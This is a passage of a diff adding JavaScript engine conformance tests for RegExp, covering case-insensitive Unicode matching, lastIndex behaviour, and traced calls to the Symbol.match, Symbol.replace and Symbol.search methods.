+ // U+03C2: GREEK SMALL LETTER FINAL SIGMA
+ // U+03A3: GREEK CAPITAL LETTER SIGMA
+ // U+03C3: GREEK SMALL LETTER SIGMA
+ ["\u03C2", "\u03A3", "\u03C3"],
+ // U+03D0: GREEK BETA SYMBOL
+ // U+0392: GREEK CAPITAL LETTER BETA
+ // U+03B2: GREEK SMALL LETTER BETA
+ ["\u03D0", "\u0392", "\u03B2"],
+ // U+03D1: GREEK THETA SYMBOL
+ // U+0398: GREEK CAPITAL LETTER THETA
+ // U+03B8: GREEK SMALL LETTER THETA
+ ["\u03D1", "\u0398", "\u03B8"],
+ // U+03D5: GREEK PHI SYMBOL
+ // U+03A6: GREEK CAPITAL LETTER PHI
+ // U+03C6: GREEK SMALL LETTER PHI
+ ["\u03D5", "\u03A6", "\u03C6"],
+ // U+03D6: GREEK PI SYMBOL
+ // U+03A0: GREEK CAPITAL LETTER PI
+ // U+03C0: GREEK SMALL LETTER PI
+ ["\u03D6", "\u03A0", "\u03C0"],
+ // U+03F0: GREEK KAPPA SYMBOL
+ // U+039A: GREEK CAPITAL LETTER KAPPA
+ // U+03BA: GREEK SMALL LETTER KAPPA
+ ["\u03F0", "\u039A", "\u03BA"],
+ // U+03F1: GREEK RHO SYMBOL
+ // U+03A1: GREEK CAPITAL LETTER RHO
+ // U+03C1: GREEK SMALL LETTER RHO
+ ["\u03F1", "\u03A1", "\u03C1"],
+ // U+03F5: GREEK LUNATE EPSILON SYMBOL
+ // U+0395: GREEK CAPITAL LETTER EPSILON
+ // U+03B5: GREEK SMALL LETTER EPSILON
+ ["\u03F5", "\u0395", "\u03B5"],
+ // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+ // U+1E60: LATIN CAPITAL LETTER S WITH DOT ABOVE
+ // U+1E61: LATIN SMALL LETTER S WITH DOT ABOVE
+ ["\u1E9B", "\u1E60", "\u1E61"],
+ // U+1FBE: GREEK PROSGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u1FBE", "\u0399", "\u03B9"],
+ ];
+
+for (var [code1, upper, code2] of pairs) {
+ assertEq(new RegExp(code1, "i").test(code2), true);
+ assertEq(new RegExp(code1, "i").test(upper), true);
+ assertEq(new RegExp(upper, "i").test(code1), true);
+ assertEq(new RegExp(upper, "i").test(code2), true);
+ assertEq(new RegExp(code2, "i").test(code1), true);
+ assertEq(new RegExp(code2, "i").test(upper), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/lastIndex-nonwritable.js b/js/src/tests/ecma_6/RegExp/lastIndex-nonwritable.js
new file mode 100644
index 000000000..3c867f953
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/lastIndex-nonwritable.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1168416;
+var summary = "Regexp.prototype.test/exec shouldn't change lastIndex if not writable.";
+
+print(BUGNUMBER + ": " + summary);
+
+var regex = /0/g;
+Object.freeze(regex);
+var str = "abc000";
+
+var desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.test(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.exec(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/match-this.js b/js/src/tests/ecma_6/RegExp/match-this.js
new file mode 100644
index 000000000..ee05462f2
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/match-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@match] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/match-trace.js b/js/src/tests/ecma_6/RegExp/match-trace.js
new file mode 100644
index 000000000..3216db641
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/match-trace.js
@@ -0,0 +1,147 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@match] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+var logProxy;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ if (logProxy)
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get global() {
+ log += "get:global,";
+ return global;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get unicode() {
+ log += "get:unicode,";
+ return unicode;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ logProxy = true;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["abc"]), P(["ABC"]), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+var ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["abc","ABC"]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""]), P([""]), null ];
+lastIndexResult = [ , 4, 20, ];
+lastIndexExpected = [ 0, 5, 21, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["",""]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "___\uD83D\uDC38___\uD83D";
+execResult = [ P([""]), P([""]), P([""]), P([""]), P([""]), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["","","","",""]`);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global with no match.
+reset();
+execResult = [ null ];
+lastIndexResult = [ , ];
+lastIndexExpected = [ 0, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(ret, null);
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["abc"]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+// ret is the Proxy on non-global case, disable logging.
+logProxy = false;
+assertEq(JSON.stringify(ret), `["abc"]`);
+assertEq(log,
+ "get:global," +
+ "get:exec,call:exec,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/match.js b/js/src/tests/ecma_6/RegExp/match.js
new file mode 100644
index 000000000..06308b2d6
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/match.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@match].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.match].name, "[Symbol.match]");
+assertEq(RegExp.prototype[Symbol.match].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.match);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 1);
+assertEq(v[0], "a");
+
+re = /d/;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+re = /a/ig;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 3);
+assertEq(v[0], "a");
+assertEq(v[1], "A");
+assertEq(v[2], "A");
+
+re = /d/g;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-compile.js b/js/src/tests/ecma_6/RegExp/replace-compile.js
new file mode 100644
index 000000000..45359037a
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-compile.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should call replacer function after collecting all matches.';
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = RegExp("a", "g");
+var r = rx[Symbol.replace]("abba", function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+rx = RegExp("a", "g");
+r = "abba".replace(rx, function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-global-unicode.js b/js/src/tests/ecma_6/RegExp/replace-global-unicode.js
new file mode 100644
index 000000000..80b3ea199
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-global-unicode.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should not use optimized path if RegExp.prototype.unicode is modified.';
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(RegExp.prototype, "unicode", {
+ get() {
+ RegExp.prototype.exec = () => null;
+ }
+});
+
+var rx = RegExp("a", "g");
+var s = "abba";
+var r = rx[Symbol.replace](s, "c");
+assertEq(r, "abba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-sticky-lastIndex.js b/js/src/tests/ecma_6/RegExp/replace-sticky-lastIndex.js
new file mode 100644
index 000000000..2500b2c42
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-sticky-lastIndex.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should do nothing if lastIndex is invalid for sticky RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+var re = /a/y;
+re.lastIndex = -1;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 0;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 1;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = 2;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = "foo";
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = "1";
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = {};
+assertEq("a".replace(re, "b"), "b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-sticky.js b/js/src/tests/ecma_6/RegExp/replace-sticky.js
new file mode 100644
index 000000000..32a6e2aee
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-sticky.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should use and update lastIndex if sticky flag is set";
+
+print(BUGNUMBER + ": " + summary);
+
+var input = "abcdeabcdeabcdefghij";
+var re = new RegExp("abcde", "y");
+re.test(input);
+assertEq(re.lastIndex, 5);
+var ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeABCDEabcdefghij");
+assertEq(re.lastIndex, 10);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeABCDEfghij");
+assertEq(re.lastIndex, 15);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeabcdefghij");
+assertEq(re.lastIndex, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-this.js b/js/src/tests/ecma_6/RegExp/replace-this.js
new file mode 100644
index 000000000..499304f9c
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@replace] should check |this| value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.replace].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-trace.js b/js/src/tests/ecma_6/RegExp/replace-trace.js
new file mode 100644
index 000000000..73e623563
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-trace.js
@@ -0,0 +1,309 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@replace] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A, index, matched2) {
+ var i = 0;
+ A.index = index;
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+
+ // Return a different value for 2nd access to result[0].
+ if (matched2 !== undefined && name == 0) {
+ if (i == 1) {
+ return matched2;
+ }
+ i++;
+ }
+
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get global() {
+ log += "get:global,";
+ return global;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get unicode() {
+ log += "get:unicode,";
+ return unicode;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ arraySetterObserved = false;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["bc"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+var ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""], 1), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_bcAbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "---\uD83D\uDC38---\uD83D";
+execResult = [ P([""], 1), P([""], 2), P([""], 3), P([""], 4), P([""], 5), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "-_XYZ_-_XYZ_-_XYZ_\uD83D_XYZ_\uDC38_XYZ_---\uD83D");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace global with captures and substitutions.
+reset();
+execResult = [ P(["bc", "b", "c"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[bc,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],");
+
+// Trace global with empty match and captures and substitutions,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[BC,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],");
+
+// Trace global with empty match and captures and function,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+function replaceFunc(...args) {
+ log += "call:replaceFunc,";
+ assertEq(args.length, 5);
+ assertEq(args[0], "BC");
+ assertEq(args[1], "b");
+ assertEq(args[2], "c");
+ assertEq(args[3], 1);
+ assertEq(args[4], target);
+ return "_ret_";
+}
+// This also tests RegExpStatics save/restore with no match.
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, replaceFunc);
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_ret_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2]," +
+ "call:replaceFunc,");
+
+// Trace global with non-empty match, move backwards.
+// 2nd match shouldn't be replaced.
+reset();
+execResult = [ P(["X"], 5), P(["YZ"], 1), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAb_XYZ_ABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace global with non-empty match, position + matchLength overflows.
+reset();
+execResult = [ P(["fooooooo"], 7), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcA_XYZ_");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace global with non-empty match, position overflows.
+reset();
+execResult = [ P(["fooooooo"], 12), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcABC_XYZ_");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["bc"], 1) ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace-twoBytes.js b/js/src/tests/ecma_6/RegExp/replace-twoBytes.js
new file mode 100644
index 000000000..660677c9f
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace-twoBytes.js
@@ -0,0 +1,44 @@
+var BUGNUMBER = 1269719;
+var summary = "RegExp.prototype[@@replace] should check latin1/twoBytes for all strings used in relate operation.";
+
+print(BUGNUMBER + ": " + summary);
+
+var ans = [
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+];
+var i = 0;
+for (var matched of ["A", "\u3042"]) {
+ for (var group1 of ["B", "\u3044"]) {
+ for (var string of ["C", "\u3046"]) {
+ for (var replacement of ["[$&$`$'$1$2$3$]", "[$&$`$'$1$2$3$]\u3048"]) {
+ var myRegExp = {
+ get exec() {
+ return function() {
+ return [matched, group1];
+ };
+ }
+ };
+ assertEq(RegExp.prototype[Symbol.replace].call(myRegExp, string, replacement), ans[i]);
+ i++;
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/replace.js b/js/src/tests/ecma_6/RegExp/replace.js
new file mode 100644
index 000000000..43522ab55
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/replace.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@replace].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.replace].name, "[Symbol.replace]");
+assertEq(RegExp.prototype[Symbol.replace].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.replace);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcAbcABC");
+
+re = /d/;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "abcAbcABC");
+
+re = /a/ig;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcXbcXBC");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_$_abcd_012_345_$0_a_b_cd_$4_cd_$345");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_\u3042_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_\u3042_$_abcd_012_345_$0_a_b_cd_$4_cd_$345");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/search-this.js b/js/src/tests/ecma_6/RegExp/search-this.js
new file mode 100644
index 000000000..731f5480f
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/search-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@search] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.search].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/search-trace.js b/js/src/tests/ecma_6/RegExp/search-trace.js
new file mode 100644
index 000000000..ef14514c6
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/search-trace.js
@@ -0,0 +1,76 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@search] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(index) {
+ return new Proxy({ index }, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+}
+
+// Trace hit.
+reset();
+execResult = [ P(16) ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+var ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, 16);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "set:lastIndex," +
+ "get:result[index],");
+
+// Trace not hit.
+reset();
+execResult = [ null ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, -1);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "set:lastIndex,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/search.js b/js/src/tests/ecma_6/RegExp/search.js
new file mode 100644
index 000000000..0875ee47e
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/search.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@search].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.search].name, "[Symbol.search]");
+assertEq(RegExp.prototype[Symbol.search].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.search);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /B/;
+var v = re[Symbol.search]("abcAbcABC");
+assertEq(v, 7);
+
+re = /B/i;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, 1);
+
+re = /d/;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, -1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/shell.js b/js/src/tests/ecma_6/RegExp/shell.js
new file mode 100644
